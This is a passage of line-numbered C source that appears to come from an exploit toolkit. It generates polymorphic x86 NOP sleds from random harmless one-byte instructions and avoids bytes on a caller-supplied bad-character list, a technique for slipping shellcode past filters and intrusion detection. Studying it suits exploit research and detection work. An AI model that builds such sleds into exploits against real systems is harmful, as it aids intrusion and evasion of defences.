| 764 | badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len) | ||
| 765 | { | ||
| 766 | int n; | ||
| 767 | |||
| 768 | for (code_len -= 1 ; code_len >= 0 ; --code_len) { | ||
| 769 | for (n = 0 ; n < bad_len ; ++n) | ||
| 770 | if (code[code_len] == bad[n]) | ||
| 771 | return (1); | ||
| 772 | } | ||
| 773 | |||
| 774 | return (0); | ||
| 775 | } | ||
| 776 | |||
| 777 | unsigned long int | ||
| 778 | x86_nop_rwreg (void) | ||
| 779 | { | ||
| 780 | unsigned long int reg; | ||
| 781 | |||
| 782 | do { | ||
| 783 | reg = random_get (0, 7); | ||
| 784 | } while (reg == 4); /* 4 = $esp */ | ||
| 785 | |||
| 786 | return (reg); | ||
| 787 | } | ||
| 788 | |||
| 789 | |||
| 790 | |||
| 791 | unsigned long int | ||
| 792 | x86_nop_xfer (char *xferstr) | ||
| 793 | { | ||
| 794 | int bw = 0; /* bitfield walker */ | ||
| 795 | unsigned char tgt; /* resulting instruction */ | ||
| 796 | |||
| 797 | /* in a valid xferstr we trust */ | ||
| 798 | for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) { | ||
| 799 | switch (xferstr[0]) { | ||
| 800 | case ('0'): | ||
| 801 | BSET (tgt, 1, 0, bw); | ||
| 802 | break; | ||
| 803 | case ('1'): | ||
| 804 | BSET (tgt, 1, 1, bw); | ||
| 805 | break; | ||
| 806 | case ('r'): | ||
| 807 | BSET (tgt, 3, x86_nop_rwreg (), bw); | ||
| 808 | break; | ||
| 809 | case ('.'): | ||
| 810 | break; /* ignore */ | ||
| 811 | default: | ||
| 812 | fprintf (stderr, "on steroids, huh?\n"); | ||
| 813 | exit (EXIT_FAILURE); | ||
| 814 | break; | ||
| 815 | } | ||
| 816 | } | ||
| 817 | |||
| 818 | if (bw != 8) { | ||
| 819 | fprintf (stderr, "invalid bitwalker: bw = %d\n", bw); | ||
| 820 | exit (EXIT_FAILURE); | ||
| 821 | } | ||
| 822 | |||
| 823 | return (tgt); | ||
| 824 | } | ||
| 825 | |||
| 826 | |||
| 827 | unsigned int | ||
| 828 | x86_nop (unsigned char *dest, unsigned int dest_len, | ||
| 829 | unsigned char *bad, int bad_len) | ||
| 830 | { | ||
| 831 | int walk; | ||
| 832 | int bcount; /* bad counter */ | ||
| 833 | char * xs; | ||
| 834 | char * xferstr[] = { | ||
| 835 | "0011.0111", /* aaa */ | ||
| 836 | "0011.1111", /* aas */ | ||
| 837 | "1001.1000", /* cbw */ | ||
| 838 | "1001.1001", /* cdq */ | ||
| 839 | "1111.1000", /* clc */ | ||
| 840 | "1111.1100", /* cld */ | ||
| 841 | "1111.0101", /* cmc */ | ||
| 842 | "0010.0111", /* daa */ | ||
| 843 | "0010.1111", /* das */ | ||
| 844 | "0100.1r", /* dec <reg> */ | ||
| 845 | "0100.0r", /* inc <reg> */ | ||
| 846 | "1001.1111", /* lahf */ | ||
| 847 | "1001.0000", /* nop */ | ||
| 848 | "1111.1001", /* stc */ | ||
| 849 | "1111.1101", /* std */ | ||
| 850 | "1001.0r", /* xchg al, <reg> */ | ||
| 851 | NULL, | ||
| 852 | }; | ||
| 853 | unsigned char tgt; | ||
| 854 | |||
| 855 | |||
| 856 | for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) { | ||
| 857 | /* avoid endless loops on excessive badlisting */ | ||
| 858 | for (bcount = 0 ; bcount < 16384 ; ++bcount) { | ||
| 859 | xs = xferstr[random_get (0, 15)]; | ||
| 860 | tgt = x86_nop_xfer (xs); | ||
| 861 | |||
| 862 | dest[walk] = tgt; | ||
| 863 | if (badstr (&dest[walk], 1, bad, bad_len) == 0) | ||
| 864 | break; | ||
| 865 | } | ||
| 866 | |||
| 867 | /* should not happen */ | ||
| 868 | if (bcount >= 16384) { | ||
| 869 | fprintf (stderr, "too much blacklisting, giving up...\n"); | ||
| 870 | exit (EXIT_FAILURE); | ||
| 871 | } | ||
| 872 | } | ||
| 873 | |||
| 874 | return (walk); | ||
| 875 | } | ||
| 876 | |||
| 877 | |||
